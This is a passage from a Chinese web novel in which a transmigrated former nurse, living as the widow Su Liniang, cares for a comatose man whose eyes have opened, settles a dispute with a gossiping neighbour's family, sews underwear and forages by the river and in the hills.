院子泡了一场大雨,地面泥泞脏乱。 陆鸢踩着软烂的地面走了几步,看到屋顶被吹得七零八落的杂物房,很庆幸昨晚有先见之明,雨还没下就搬去祁晟屋子睡了。 不过现在的问题也来了。 老屋子都成这样了,肯定是不能住人了。 她转头看了眼祁晟的屋子,估计得长住了。 何老婆子也起来了,看到外头这幅光景,就忍不住埋怨道:“这下雨就下雨,还刮这么大的风作甚。” 陆鸢忽然惊道:“坏了!” 说着就快步往外走去。 何老婆子在后头问:“啥坏了?” 陆鸢:“前两天刚种下的菜苗,昨天那么大风大雨,怕是要不了了,我去瞧瞧。” 她种下的时候,还心心念念过半个月就能吃上水灵灵的青菜了,现在这一场雨,也不知道那一小块菜地的菜苗还能剩多少。 坡地湿滑,陆鸢好不容易才爬到了半坡。 看到菜地的菜苗大部分还在,这才松了一口气。 只是被吹得东倒西歪的,再扶回去救一救,看能不能救回来。 陆鸢把菜苗一颗颗都重新种了回去,天色已经亮了。 她擦了一把汗,看了眼自己的成果,这才满意地归家。 还没到家,她就听见何老婆子惊喊的声音。 陆鸢没仔细听,心里一急,忙跑了回去。 到院子,她才听清楚何老婆子说得是—— “晟哥儿,你别吓唬祖母,你快应一下祖母!” 陆鸢快步走进了屋中,两个孩子无措的站在一边,而何老婆子则站在床边上摇晃着祁晟。 陆鸢惊疑走上前,视线落在祁晟的脸上,随之就对上了一双好看却空洞无神的眼睛。 祁晟双眼睁开了。 虽然眼睛是睁开了,但对于老太太的呼唤,却没有半点反应。 她要不是做过护士,有点专业知识,还真会被这惊悚的一幕给吓到了。 “老太太你先别着急,缓一缓。” 何老婆子转头看向她,双眼通红,湿润,她激动道:“丽娘,晟哥儿睁眼了,晟哥儿睁眼了!” 激动过后,两鬓斑白的老人眼里尽是茫然无措:“可他不应我,我喊他,他一点反应都没有。” 陆鸢转头看向祁晟。 那双深邃的眼底全然是空洞,没有任何光亮。 显然,人没醒,只是睁开了眼睛。 这是正常的现象,只是对于这个时代,且对于他的亲人来说,却是不正常的。 陆鸢道:“老太太你听我说,这祁晟肯定是非常迫切想醒过来的,只是还没能完全控制得住自己的身体,所以眼睛才先睁开了。” 大概是祁晟迫切想醒过来,想睁开眼,所以大脑就给眼睛传递了睁眼的讯息。 何老婆子受不了打击,情绪有些崩溃:“明明就已经睁开眼睛了,为什么却还是醒不过来?为什么还是醒不过?” 何老婆子精神恍惚地喃喃自语。 “老太太,这现象也是好事,你想呀,祁晟现在已经有很强烈的求生意识了,苏醒过来也只是时间长短的问题了,你先别太焦急。” 何老太太茫然了一会,忽然想到了什么,猛然抓住了陆鸢的双臂,眼神灼灼地看着她。 “我知道了,晟哥儿会睁开双眼,定是丽娘你的缘故。” “啊?”这次换陆鸢懵了。 何老太太激动道:“你昨夜就在晟哥儿的屋子睡了一宿,晟哥儿就睁眼了,你定是晟哥儿的福星!说不定冲喜真能把晟哥儿冲醒。” 第24章 孙子睁开双目了, 何老婆子不舍得从屋子离开。 陆鸢想把祁晟那双眼扒拉下来,有何老婆子在,她也不太方便。 她是没关系,但春花却已经被吓得瑟瑟发抖了。 躺尸一般的人, 忽然睁开双眼, 可眼底全是麻木, 空洞的,没有半点儿的温度。除却亲人外, 任哪个胆子小的,都会觉得害怕。 陆鸢为了孩子的心灵健康, 还是把她们带出了屋子。 院子外边泥泞脏乱, 昨晚的衣物还没洗,俩孩子也就一双草鞋和一身换洗的衣服, 可不能脏了。 而她早间出去干了会活, 都已经脏了, 也就无所谓了。她手上抱一个, 背上背一个, 把她们都运到了窄小的厨房中。 厨房小,矮了正房一截, 又不是台风天,只是风大雨大了些, 没什么受损的情况, 就是屋顶漏雨,里边也湿答答的。 下雨天真烦人。 陆鸢只得把两个孩子放下来, 擦了擦角落的桌子和杌子,让他们两个乖乖坐着,她去做朝食。 陆鸢出了厨房, 朝着祁晟的屋子喊:“老太太,我去你屋子舀米做朝食了。” 陆鸢一进老太太的屋子,就被吓了一跳。 好家伙,都把鸡给挪到屋子里头了。 何老婆子兴许是和她想到了一块去,都觉得公鸡和母鸡这个时候配种不大合适,所以床头的床脚绑着公鸡,床尾绑着两只母鸡,就这么让它仨遥遥相望着。 陆鸢晃了晃胡思乱想的脑袋,这都想的什么乱七八糟的? 陆鸢检查了一下笋干的情况,因着在竹篓上边铺了一层稻草,下边的笋干倒是没怎么受潮。 放下心来后,她舀了点米和精米磨的米粉出了屋子。 熬着粥,陆鸢就出去收拾院子的狼藉。 这会的天色还是灰蒙蒙的,也不知今天能不能有日头出来。 陆鸢刚收拾好院子,何老婆子就从她孙子的屋子出来了。 双眼稍红肿,显然是刚刚抹过泪。 祁晟这事,还得何老婆子自己慢慢消化,她劝慰太多也无用。 四个人安安静静地吃完朝食,收拾过后,陆鸢就抱着木盆准备去河边洗衣。 这时李老汉恰好来到。 他瞧见了,就道:“昨晚这雨来得又急又凶,河里的水都涨了,水流得也湍,洗衣可得小心。” 何老婆子忽然想起丽娘先前落水的事,便立马与她道:“衣服也不急着洗,等晌午河水退下后再去洗吧。” 陆鸢听劝,也就把盆放下,进何老婆子的屋子,准备把笋干搬出来先晾晾湿气。 这都还没把笋干搬出去呢,就听见隔壁屋子传来李老汉一惊一乍的声音:“醒了,醒了,阿晟醒了!” 陆鸢晓得是什么情况,也没当一回事,她把篓子搬出来,就见李老汉从屋子里跛脚跑了出来,说里边的情况。 李老汉:“阿晟睁开眼了,何老婆子你快去瞧瞧。” 何老婆子不知道该咋解释,遂看向陆鸢。 陆鸢只得含糊解释:“可能是祁晟迫不及待想醒,可又没到醒的时候,眼睛就先睁开了。” 李老汉茫然:“就是说,眼睛睁了,但人没醒?” 陆鸢点头:“是这么个理。” 李老汉小声嘀咕:“还有这等怪事?” 陆鸢心说,怪事多了去呢,你老身边还有一个穿越的呢。 李老汉又回了屋,对上那双黑漆漆的眼睛,实在是瘆得慌,也就用手掌把眼睛扒拉了下来。 看着双目阖上了,才松了一口气。 这刚擦完身子,一抬头,原本闭上的眼睛又睁开了,正直勾勾地看着他,吓得他一激灵。 虽然还是盼着这后辈能醒,可这也太瘆人了。 想出去与何老婆子说不干了,但一想到每个月三十五文钱,李老汉只能是硬着头皮继续干下去。 毕竟换成肉,是整整三斤呢。 又悄悄瞧了眼那双睁开的眼睛,心下有些瘆。 他也忘了交代不要说话的事,双手合十,朝着祁晟道:“晟侄儿,你可别吓唬你李老叔,你李老叔不经吓。” 说完,连忙收拾好,脚步匆匆地出了屋子,连招呼都没打就走了。 陆鸢看着李老汉慌乱的步子,就知道他被吓了。 她就纳闷了,不就是植物人睁眼吗,又不是冤魂索命,至于怕成这个样子么? 陆鸢不解地摇了摇头,接着去厨房盛了米汤进去喂祁晟。 见他还是睁着眼,就用手掌扒拉下来,继而伏身听他的心跳。 徐徐平缓,应是在深度昏迷。 她起身,正要拿被褥垫在他脑袋后时,猛一对上那双又睁开了的眼睛,她霎时间倒抽了一口凉气。 也不是害怕,就那一瞬间还是挺吓人的。 陆鸢呼了一口气。 没好气地看向祁晟,念叨道:“人还没醒呢,就开始吓人了,瞧来你的性子也不是特别沉稳的。” 她仔细盯着他的眼睛打量,眉眼深邃,若是有神了,也是一双多情目。 俗称,瞧狗都觉着深情。 陆鸢从屋子里出来,与何老婆子说:“祁晟的眼睛合不上,你别被吓了。” 何老婆子没好气道:“他是我孙子,我还能被吓到不成?” 陆鸢耸了耸肩,但愿吧。 巳时正刻时,有微弱日光冒出了头,预兆着一天的好天气。 过了一会,何老婆子让她进屋子,说:“衣服差不多快做好了,你进来试试,若是不合适还可以改改。” 有新衣服穿,陆鸢也不是特别高兴。 她进了屋子,何老婆子瞧见她身上的脏污,不悦道:“把外边的衣服脱了,别弄脏了这新衣,你成亲那天还得穿呢。” 陆鸢暗自一撇嘴,然后也没什么可避讳的就脱去了外衫,露出了身上褪色的小衣。 何老婆子瞅了眼她的身子,说:“咋还这么瘦?” 陆鸢说:“我也觉得还很瘦,个把月还不一定能养好身子呢,到时候怀上了也不一定能保得住,还是再缓缓吧。” 何老婆子晓得她是想拖延时间,但也没驳回。 在知晓孙子还有意识时,关于圆房这事,她便有些犹豫了。 孙子在清醒的情况与寡妇成了事,她怕他会没了求生的想法。 而且孙子有很大的可能会醒过来,那也不急着延续香火了。 虽不急着圆房,但这亲是一定要成的。 虽未对过八字,可就现在而言,丽娘定然是有福的,还特别旺晟哥儿。 自她来了家里后,晟哥儿的情况就一日比一日好了,这不是旺,还能是什么? 陆鸢有些诧异。何老婆子竟没有出声反驳她,那这事肯定有更多商量的余地。 说多错多,她也就不多说了。 衣服穿上身,略显宽松。 何老婆子说:“到时多加几针收一下就好。” 说着,又仔细打量了一下面前的丽娘,她语带怀疑:“你是不是白了些,瞧着气色都好了许多。” 陆鸢摸了摸自个的脸,摇头道:“我也不知道。” 没镜子照,也不想照,除了洗衣服时看到不甚清楚的倒影外,也不知现在是什么模样。 何老婆子盯着丽娘的五官瞧了许久,才道:“五官底子还是好的,养养也还能看。” 这话,她听着怎么就那么的不中听呢? 是嫌现在她丑? 何老婆子琢磨着,就念了起来:“我仔细想想年轻的时候,用的那些美肤的法子。” 一边想,一边皱着眉头摇头。 陆鸢猜测何老婆子年轻的时候家境不错,这些美肤的法子,都要用贵的材料。 陆鸢道:“用淘米水不就成了。” 她虽然没学过中医,但也知道这淘米水加白芷粉煮沸放凉后,用来洗脸,也能有美肤润肤的功效。 现在都可以吃上米饭了,淘米水也不是问题了。 不仅她可以洗,两个孩子也可以洗。 才是初秋,两个孩子的脸上都已经皲皮了,她也好不到哪去。 何老婆子闻言,一拊掌,喜道:“我怎就忘了这个法子,你晌午和晚上淘米的水都给留下来,用来洗脸。” 她心道把人养好了,就是晟哥儿醒了,看见模样不是特别出挑,但也算普通样貌的丽娘,应当也不会不满意。 想通后,何老婆子的脸上也多了几分释了重负的轻松。 她与陆鸢说:“你把衣服脱下来吧,我给你加几针。” 陆鸢便把衣服脱下,正要穿上旧衣,就察觉何老婆子的视线停留在自己的胸脯上。 她也跟着低头瞧去。 苏丽娘虽然很瘦,脸上,腹部和手臂都已经快皮包骨了,但身上的肉都留对了地方,胸口和臀部上都还是有些肉的。 旁人都说减肥先减胸,这身子都瘦成这样了,胸脯还能有起伏,要是再养养,她觉着这身段也是个尤物。 何老婆子嘀咕道:“瘦归瘦,可这胸脯还是有些肉的,往后晟哥儿醒了,也不至于怨我。” 陆鸢:…… 老太太,你老说这话就不太合适了。 说得好似你孙子是个色胚一样。 陆鸢穿上衣服,正想出去,何老婆子又商量似的与她说:“再过两日就是成亲的日子了,晟哥儿的情况,也办不了什么喜宴,我就只喊里正和村子里最年长的老人来主婚,你没意见吧?” 陆鸢摇头:“没意见。” 她这都和公鸡拜堂了,还能有什么意见? 何老婆子:“等晟哥儿醒了,我就让他给你补上。” 陆鸢没忍住,问:“老太太你就没想过,等祁晟醒了,兴许就不认我这个媳妇,要悔婚呢?” 何老婆子忽然笑了。 陆鸢纳闷:“老太太你笑什么?” 何老婆子敛了些许笑意,怀念的语调甚是徐缓:“我的孙子我了解,你在咱们家最难的时候留了下来,还操持起了这个家,就算没成亲,往后他也会一直帮衬你。” “要是成了亲,哪怕你脸上长了瘤子,他也不会反悔。” 陆鸢听着何老婆子对自己孙子的剖析,再联想到镇上的柳掌柜,店小二,还有村子里其他人,都对祁晟的事感到惋惜。 她想,祁晟应该是个很好的人,所以才会被这么多人惦念着。 万一他醒来后,真把婚事当真了,咋办? 陆鸢想了想。 她很大可能是回不去了,往后余生都得留在这个时代了。 这时代不安全,自己一个妇人拉扯两个孩子,确实有点困难,不怕别的,就怕被贼惦记。 如果真要嫁人的话,那肯定选个品性好,样子也不是特别差的正常人。 如果是祁晟,也不是不可以。 先试试,没问题再继续走下去。 当然,陆鸢也知道自己能接受得这么快,九成九都是因为祁晟那张脸。 但凡长得丑,她觉得自己会很现实的拒绝。 第25章 陆鸢刚从何老婆子的屋子里出来, 就见牛翠婆婆拎着个装着鸡蛋的篮子,带着一个三十来岁的妇人,和一个男人过来了。 这妇人她瞧着眼熟,仔细一想, 不就是那日向她询问豆乳法子的妇人之一么! 她就说, 怎么无缘无故有人想给她说亲, 原来还是真是瞧上了她的手艺。 这妇人应该是牛翠,旁边的男人则是牛翠的丈夫。 牛翠和她婆婆见到陆鸢, 脸色都有些不大自然。 牛翠婆婆问:“何老婆子呢?” 陆鸢直勾勾地瞅了眼牛翠,遂转头朝屋子喊:“老太太, 牛翠家来人了。” 何老婆子听到这话, 放下了正要缝的衣裳,忧愁的神色没了, 取而代之是张黑沉沉的脸。 她从屋里出来, 看向来人, 愣是没一个好脸色。 “哟, 终于舍得来了, 这都快过去一个下午和一个上午了,我还以为不来了呢。” 何老婆子的语气很是阴阳怪气。 牛翠婆婆神色僵了僵, 随即赔笑道:“咋可能不来,这不是因为昨晚风大雨大, 院子乱糟糟的, 屋子又漏雨,上午收拾了许久, 这才给耽误了。” 说着,拉扯了一下身边的牛翠,还瞪了一眼她。 牛翠自知理亏, 不敢看何老婆子,上前一步就开了口:“是我不对,不该回娘家嚼舌根。也是我二叔不对,做青天白日梦,还抢人媳妇,何老婆子你大人有大量,不要和我计较。” 何老婆子冷哼一声:“我不是大人,我只是个惹人嫌的老太婆,心胸狭隘着呢。” 牛翠慌然地瞧向自家婆婆。 牛翠婆婆赔笑上前,把篮子递给何老婆子:“是我家老大媳妇做得不对,我已经狠狠训过她了,这鸡蛋是我们家的赔礼,也是我们家尽力能拿得出的赔礼了,希望何老婆子你不要嫌弃。” 陆鸢瞧了眼,篮子里头有十来个鸡蛋,个头一般,比外头两文钱一个的要小,这种三文钱两个。 她都在市集上摆了三回摊子了,物价也了解得差不多了。 这篮子里的鸡蛋,应当也价值个三十文钱,也确实是农村人最能拿得出手的赔礼了。 何老婆子冷笑道:“就这几个鸡蛋就想把这事了了,没这么容易。” 牛翠婆婆觉得头大,问:“那何老婆子你还想咋样嘛?” 何老婆子瞧了眼牛翠,说:“我也不是不讲理的,知道大家伙家里都不阔绰,除了这几个鸡蛋外,我也不要其他什么赔偿。但你家媳妇做错了事,总该要受到惩罚,不是么?” 牛翠婆婆点了点头:“确实是这个理。” 牛翠却瞪大了眼,拉了拉身边的丈夫。 牛翠丈夫道:“何老婆子,只要不过分的要求,咱们都能答应。” 何老婆子道:“也不是什么过分的要求,就是我家老的老,小的小,还有个昏迷不醒的人,丽娘肩膀又薄弱,家里的水和柴,挑得实在艰难。” 陆鸢听到这话,双眼霎亮。 何老婆子继续道:“牛翠这个月每天给咱们家挑一缸水,五天挑一把柴回来,这个要求不过分吧?” 牛翠婆婆一听是这,就松了一口气。反正也不用花销家里的钱财,且她也恼老大媳妇,这治一治也好。 她当即应:“行。” 牛翠却在一旁瞪眼,说:“我就是回家说了一嘴,也没干什么伤天害理的事,鸡蛋也赔了,咋还要我干活呀!?” 何老婆子随即就冷嗤了一声:“行呀,这就是你们家的道歉态度?赶后天我就去镇上逛一圈,我看看你们家老幺还怎么说亲!” 牛翠婆婆一巴掌扇在了牛翠的手臂上:“来的时候怎么说的?!” “你要是不愿意,我们就去你娘家,找你二叔去!” 牛翠不敢说话了。 这一找二叔,不就全漏了么。 牛翠婆婆:“你还不快点答应!” 牛翠只能是点头应下:“我答应,我答应。” 牛翠一家子来了,又走了。 人一走,陆鸢眼睛亮闪闪地望着何老婆子,喊:“老太太。” 尾音绵长,还有点稣。 老太太一个激灵,白了她一眼:“给我正常说话。” 陆鸢脸上笑盈盈的,说:“老太太怎么忽然想到这个要求的?” 何老婆子瞅了她一眼,说:“你得养好身子,等晟哥儿醒了,还得生孩子呢。” 陆鸢:…… 这话不说前,她还挺感动的。 很快,陆鸢就反应了过来,何老婆子说的是等她孙子醒过来,而不是在昏迷的情况下同房。 何老婆子把鸡蛋递给她:“这是给你的,你收着,想怎么吃就怎么吃。” 陆鸢接过了鸡蛋,说:“全由着我安排了?” 何老婆子扔下“随你。”两个字,就进屋去继续修改衣裳了。 陆鸢一想到这个月不用挑水,不用砍柴,被大雨带来的烦躁心情,顿时一扫而空。 她现在心情大好。 差不多晌午,陆鸢去做饭,打了三个鸡蛋,加了盐搅拌,用来蒸蛋羹。 三个鸡蛋,的了满满一海碗的蛋羹。 昨日做豆乳的豆渣还剩有半碗,再不做就馊了,也就拌着米放锅里蒸豆渣饭。 想到今日白得鸡蛋,这个月又不用挑水砍柴,陆鸢心情一好就飘了,又拿了几根还算不上腐竹的豆皮,泡水准备做凉菜吃。 虽说是凉菜,但材料简单,几瓣蒜,一点点油和一点盐。 等吃中食,何老婆子上桌看到又是鸡蛋羹,又是豆皮,她瞅了眼陆鸢。 “日子不过了?” 陆鸢笑道:“过呀,这不是见今天是个好日子嘛,所以做得丰盛一些。” 何老婆子嘟囔道:“算哪门子好日子。” 陆鸢道:“怎么就不算了,白得十五个鸡蛋,还不用挑水砍柴,最重要的一点,祁晟还睁眼了呢。” 被她这么一说,何老婆子觉着还真是个好日子。 “就算是个好日子,也遭不住你这样。” 陆鸢笑笑,心说以后挣钱了,她还天天吃肉呢。 吃完饭后,陆鸢正准备歇个晌再去洗衣。 这会日头已经出来了,地面被晒过,也没那么泥泞了,水也退了。 陆鸢把俩孩子带进祁晟的屋子,春花怯怯地望着床上依旧睁着双眼的人,声音颤抖:“娘,我害怕。” 陆鸢想了想,说:“那要不你们去何奶奶屋子睡?” 春花立马摇了摇头。 陆鸢道:“你要是害怕……”她琢磨了一下,就去何老婆子的屋子拿了剪子和针线过来。 她把昨日买的布剪下一小块,然后缝成了个简单的眼罩。 她给祁晟戴上后,笑着问春花:“这样就不害怕了吧?” 春花瞅了一眼,点了点头。 陆鸢正想哄她和秋花午睡,外头就响起了黄兰的声音:“丽娘,去河边捡鱼虾了!” 陆鸢一听,立马坐起,穿上鞋子,与两个孩子说:“你们要睡,还是到院子去?” 两个孩子也都起来了。 陆鸢从屋子出来,就见黄兰拎个篮子,带着个十二三岁的姑娘和一个八九岁的男孩,他们手上也拿着篮子和小筛子。 陆鸢:…… 她觉着河边也没这么多鱼能捡,不至于带这么多的家伙什。 黄兰说:“这会退水了,岸上肯定不少小鱼小虾,咱们赶紧去,不然都被捡完了。” 陆鸢也拿了个小筛子跟着他们一块去了河边。 黄兰拉着陆鸢,说起了悄悄话。 “我听说昨日在市集上,有媒人找你说亲了,还是牛翠的娘家人,何老婆子昨天还去陈家骂了。” 陆鸢:“你怎么现在才问,我以为你昨天就该来了。” 黄兰:“我这不是出去干活,回来得晚了,等吃了暮食再想来寻你,结果又下雨了,憋我一整宿了。” “你快说说,具体是怎么一回事?” 陆鸢心说与其让杏娘在村子添油加醋,还不如借着黄兰的嘴把事情说清楚,顺带把她的态度也明确的告诉大家伙。 “这不是前些时候去河边洗衣服么,牛翠和另外一个妇人来与我说话,问我做豆乳的方子,我当然是不会给,谁知道她竟然会动了想我嫁到他们娘家去的想法。” “你是不知道,一个媒人在市集上找过来,说要给我说亲,我都给蒙了。我拒绝了,她还一直贬低我,说我是寡妇带俩孩子,没人要,整个市集的人都在听着呢,可把我给气死了。” 黄兰语带着试探,问:“若不是牛二福那样的人,是个长相周正,家境也殷实的人呢,你会同意吗?” 陆鸢瞪大眼,一脸不可置信地看着她:“嫂子,你怎么能有这种想法呢?我既然答应老太太要嫁给她孙子,断然是不可能拒绝的,哪怕今天来个有钱的,我也不嫁。” 黄兰听着,佩服道:“旁人可没你这么守信用。” 说着,又说:“我还听说何老婆子昨天去里长家买了只大公鸡,这是打算让你和祁晟成亲了?” 陆鸢点头应:“后天就成亲。” 黄兰惊道:“这么快?!” 转念一想,又道:“不过也是,你现在这会能挣钱了,都成那些鳏夫,光棍眼中的香饽饽了,何老婆子能不紧张么。” 说着话,就已经走到了河边。 这会已经有些个人在岸边的水洼里边找鱼找虾了。 见着陆鸢,都齐齐地望了过来。 昨日何老婆子带着她去闹的那一出,大家伙可都听说了。 这时,有个二十来岁的妇人说:“苏寡妇,我听我公爹说,何老婆子的孙子睁眼了,是不是真的?” 其他人闻言,都露出了诧异之色,又齐刷刷地看向了陆鸢。 陆鸢朝着李家媳妇笑了笑,当着其他人的面,说:“可别叫我寡妇了,我过两天就是祁家的媳妇了,老太太听了,可是会不高兴的。” “你们可以叫我丽娘,也可以叫我祁家媳妇。” 她叫陆鸢。 原身叫苏丽娘。 不管是她,还是原身都是有名有姓的,都不想听到“寡妇”这个称号。 第26章 陆鸢刚说完, 一旁的黄兰也接道:“就是,丽娘过两天要和祁晟成亲了,要再喊寡妇,何老婆子能和你们拼命。” 几个人面面相觑。 尴尬时, 李家媳妇拍了拍自己的嘴:“都怪这破嘴, 丽娘你别在意, 我这人就是说话不过脑子,一下子没反应过来。” 陆鸢笑了笑, 似不在意地摆手道:“没事,说清楚便好。” 李家媳妇见她似乎真的不气, 顿时松了一口气。 过了一会, 大家伙也就继续在水洼里边找河鱼河虾。 陆鸢和黄兰也过去找了起来。 还别说,这水洼里边真有小鱼小虾。 陆鸢翻了块石头, 也惊喜地发现了一窝小虾。 陆鸢摸鱼摸虾摸得不亦乐乎, 直到日头大了, 河岸边上的鱼虾都被捡得七七八八了, 这才作罢。 她看了眼小筛子里的一把小鱼小虾, 够一顿菜的了。 黄兰也瞧了眼,说:“这小虾就着韭菜一块炒, 老香了,一会我让我家青丫给你送一把韭菜过去。” 乡下别的没有, 就是菜多, 每家每户都种了好块地的菜。 陆鸢笑道:“那就多谢嫂子了。” 她看了眼黄兰身后的两个孩子,暗暗道, 等明天磨了豆子,就现煮一些豆乳送过去,也叫孩子尝尝。 陆鸢回了家, 两个孩子坐在杌子上都已经昏昏欲睡了。但一见她们的娘回来了,又立刻清醒了,跑过来围观筛子中的鱼虾。 陆鸢:“晚上做炸鱼吃。” 何老婆子修改着衣裳,说:“你那点猪油也不怕没了。” 陆鸢:“炸完小鱼的油,还是能做菜的,再说等赶集那日,我去买一斤的板油回来熬猪油。” 日子既要过,也不能为了样样节省而苦了自己。 何老婆子听了她的话,头也没抬,手下针线飞快:“反正是你自己挣的银子,你想咋花就咋花,我还能跟着享口福。” 陆鸢脸上顿时露出笑意。 有个不扫兴的长辈就是好,日子才能过得舒心。 陆鸢瞧着何老婆子在做的针线活,也想起也要做贴身衣物。 她把十来条小鱼都开膛破肚,洗干净后,才把衣服拿去河边洗。 回来晾了衣服后,就把两个孩子带屋里,待她们都睡了,才拿着那几尺布到外头,准备做贴身衣物。 她进厨房,从灶眼拿了一根未烧尽树枝,打算在布料上定点。 陆鸢没做过衣服,拿着一块布琢磨了许久,何老婆子看不过眼,问:“你以前就没做过衣裳吗?你原来的男人,孩子,都没给他们做过一件衣裳?” 陆鸢边琢磨怎么做衣服,边脸不红心不跳的应:“家里穷,都是捡别人的衣服穿,而且我是个没爹没娘的孩子,就跟着祖父饥一顿饱一顿长大,也没人教过我针线活,都是靠我自己摸索的。” 何老婆子听了她与孙子相似的身世,暗暗轻叹了一声。 “得了,你要做成什么样的,我给你做。” 陆鸢摇了摇头:“我自个来,我怕你帮我做,骂我有伤风化。” 何老婆子皱眉:“做个衣服还能骂你有伤风化,老婆子我在你眼里就是这么个不讲理的老太婆?” 陆鸢摇头:“那倒不是,是我做的是贴身衣物和现在穿的有点不一样。” 何老婆子笑了一声:“我倒要瞧瞧你还能做出什么花样来?” 当陆鸢剪下几块小小的布料,然后就开始上针线,何老婆子皱眉道:“你这做的啥玩意?” 陆鸢想了替代词,应:“亵裤。” 何老婆子:“我瞧着怎么这么像犊鼻裈?” 陆鸢转头看她:“啥是犊鼻裈?” 苏丽娘薄浅的知识库里边可没这个词。 何老婆子没好气的解释:“和相扑穿的那种差不多。” 这么一解释,陆鸢顿时就知道是啥样的了。 她想了想,说:“也确实差不多。” 何老婆子嘟囔道:“这点儿布料也只能遮住屁股蛋子,你羞不羞呀?” 陆鸢:“穿着凉快,且穿在里边又没人瞧得见,自然是舒适最重要。” 何老婆子琢磨了一下,觉着也是这个理,便没说什么,只是时不时瞅几眼那歪七扭八的线头。 这针线活,瞧着实在闹心,索性不瞧了。 等何老婆子再瞧的时候,陆鸢都已经做好了一条轻薄的亵裤,裤头是扎绑式的。 陆鸢连续做了两条,接着又开始做上身的内衣。 她问何老婆子要了些粗布头,缝制成了四个垫子,然后便是做内衣。 何老婆子瞧着,眉头又皱了起来:“你这小衣,连肚脐眼都没遮住,算什么亵衣?” 陆鸢:“这不是省布料么。” 何老婆子:…… “你瞧我傻么?你这都缝了双层,省啥布料?!” 说到后边,皱着眉头道:“有伤风化。” 陆鸢:“……” 她刚说什么来着,她就说会说她。 等做好两身贴身衣服,天色也逐渐暗下来了。 傍晚,黄兰的闺女青丫送了一把韭菜和一颗菘菜过来。 等人走了,何老婆子又旧话重道:“你倒是和黄兰相处得好,这村子的人都怕她那张嘴,除了听她说闲话,没几个人敢和她走得这么近。” 陆鸢挑着韭菜,应道:“我又没什么见不着人的事,再说了,我有秘密也不与她说,她说的都是一些……” 她忽然想起黄兰传出祁晟“雄伟”这话,“无伤大雅”这个词还真说不出来。 她改了口:“听到的实话。” 何老婆子轻嗤了一声:“瞧瞧,你都说不下去了吧。” 陆鸢抿了抿唇,然后说:“可人家陈二嫂人挺好的,帮了我不少。” 何老婆子:“她人要是不好,你以为就她那破嘴,到现在都没被打的原因是什么?” 陆鸢心说,也不知道何老婆子知道黄兰传了她孙子的私密闲话,会不会指着黄兰的鼻子大骂。 陆鸢挑好了韭菜,就用了仅剩下的的二两猪油,把不多的小鱼小虾炸了。 与其说是炸,不如说是煎。 总归小鱼煎得金黄,小虾是橙红橙红,瞧着就很有食欲。 陆鸢把韭菜翻炒到七分熟,再放小鱼小虾放进去一块炒,浓郁的香味逐渐飘散了出去,飘入了祁晟的屋中。 喝了快三个月流食的祁晟,隐约嗅到了香味,顿时觉着饥饿至极。 可比起饥饿更让他在意的是他昏睡这么久,还是第一回闻着菜香。 他清醒的时间不仅逐渐增长,就是五感也似乎在逐渐修复,这是否代表着他离醒来不远了? 祁晟的心绪久久不能平静。 不知过了多久,那母女三人又进了屋。 昨日风大雨大,祁晟也感觉到了。 今日还宿在他的屋子,想来她们先前住的屋子已经不能再住了。 耳边听着母女三人说话,倒也不会孤单,无聊。 他听着叫春花的姑娘问她娘:“娘,你和祁叔叔成亲后,我和妹妹还能和你一块睡吗?” 祁晟也好奇苏氏是怎么回的。 毕竟往后都是夫妻了,总不能还带着两个孩子睡吧? “不知道,按常理来说,应该是不可以的。” 断然没有寡妇和后头丈夫成了亲,还带着继女一块住的。 春花:“可是我和妹妹都想和娘睡。” 陆鸢:“那等明儿我问问何奶奶,若是没问题,咱们就先还住同一个屋子。” 毕竟祁晟还没醒,应该没什么太大的问题。 祁晟却是不太赞同,现在的情况是迫不得已,但之后必然是不能一直这样,传出去不好听。 春花得了满意的答案,高兴地抱着她娘。 陆鸢拍了拍她,说:“你和妹妹玩会,我去数一会铜板。” 春花不解:“可娘之前不是都数过了吗?” 陆鸢笑着点了点她的鼻子:“我就爱数钱。” 她从竹筒里掏出钱袋,有一文钱一文钱的数了起来。 这铜钱相碰的声音,对于陆鸢来说,比那什么丝竹管乐都要来的动听。 数了好一会,陆鸢现在全部的身家是一百二十四文。 她算过了,这钱够做一床六尺宽的四件套。 寻常麻布要五文一尺,一床六尺宽的四件套,起码得二十尺布。 可麻布在冬日,远不及棉布保暖。所以得买六文一尺的棉布。 这里全部的钱,也只够做一床被子,衣服什么的都做不了。 这岭南的天说变就变,上一回还是酷暑秋日,说不定第二天就变天了。 再说,她还得买一些生活用品回来,油灯,草纸这些都是得买的,这一算,银钱又不够了。 一想到这些,陆鸢的危机感又压了下来,还是得抓紧时间挣钱,争取在这个月底把冬衣的钱也挣够。 数完钱后,陆鸢愁眉不展地叹了一声。 春花瞧着她娘数完了钱,又叹气的模样,忍不住问:“娘都数最喜欢的钱了,可为什么还是不高兴?” 陆鸢趴在祁晟的床边上,手托着腮:“我想要更多的钱做冬被,冬衣,还想天天吃米饭,吃肉。” 说到肉,发呆的秋花眼神一亮:“娘,肉,肉。” 陆鸢被她逗笑了,捏了捏她没什么肉的脸:“就知道吃肉,等明天我去镇上摆摊,回来就给你们买肉吃。” 祁晟听着她们母女的话,心里不太是滋味。 如今养家的担子都在她与祖母的身上,而他一个大男人却躺在这床上,形如废物一般躺吃等死,如何能得! 祁晟想要醒来的心更甚了。 …… 第二日一早,牛翠过来挑水,瞧见苏氏,恨得牙痒痒的,但也是敢怒不敢言。 陆鸢才不管她呢,有人把最重的挑水活做了,她轻省了不知多少。 吃过朝食后,黄兰带着闺女又来喊陆鸢去捡菌子。 陆鸢欢快地背着背篓就出门了。 没穿越前,陆鸢最想做的三件户外活动——上山捡菌子,海边赶海,竹林挖笋。 竹笋挖过,挖得怕了,几乎都不想再挖。 赶海没赶上,昨天上午倒是体验了一下赶河,腰弯了许久,现在都觉得腰间略微酸胀。 至于捡菌子,之前捡云耳没过瘾,不算。 陆鸢和黄兰,还有其他几个眼熟的妇人一块去附近的山捡菌子。 黄兰小声与她说:“她们只会分辨一两种没毒的菌子,一会我教你分辨其他没毒的菌子。” 陆鸢诧异道:“你竟然能憋住没告诉她们?!” 黄兰没好气地白了她一眼:“别以为我没听出来你说我嘴上没把门。” 陆鸢讪讪笑道:“我还真以为你听不出来。” 黄兰轻“哼”了一声,继而道:“我平时上山捡菌子,都把嘴巴闭得紧紧的,也不与她们说话。” 也难为一个爱说话的人,憋着不说话了。 陆鸢:“那为啥告诉我?” 黄兰:“这不是见你们家孤儿寡母的,能增加一点进项是一点进项,且咱们可以在同一个摊位摆买,我不帮你,我帮谁呀?” 陆鸢听得心里暖暖的。 入了山,山里湿气还没散去,空气中还有一股子腐烂潮湿的味道。 陆鸢跟着黄兰认了一会菌子后,就分开来走了。 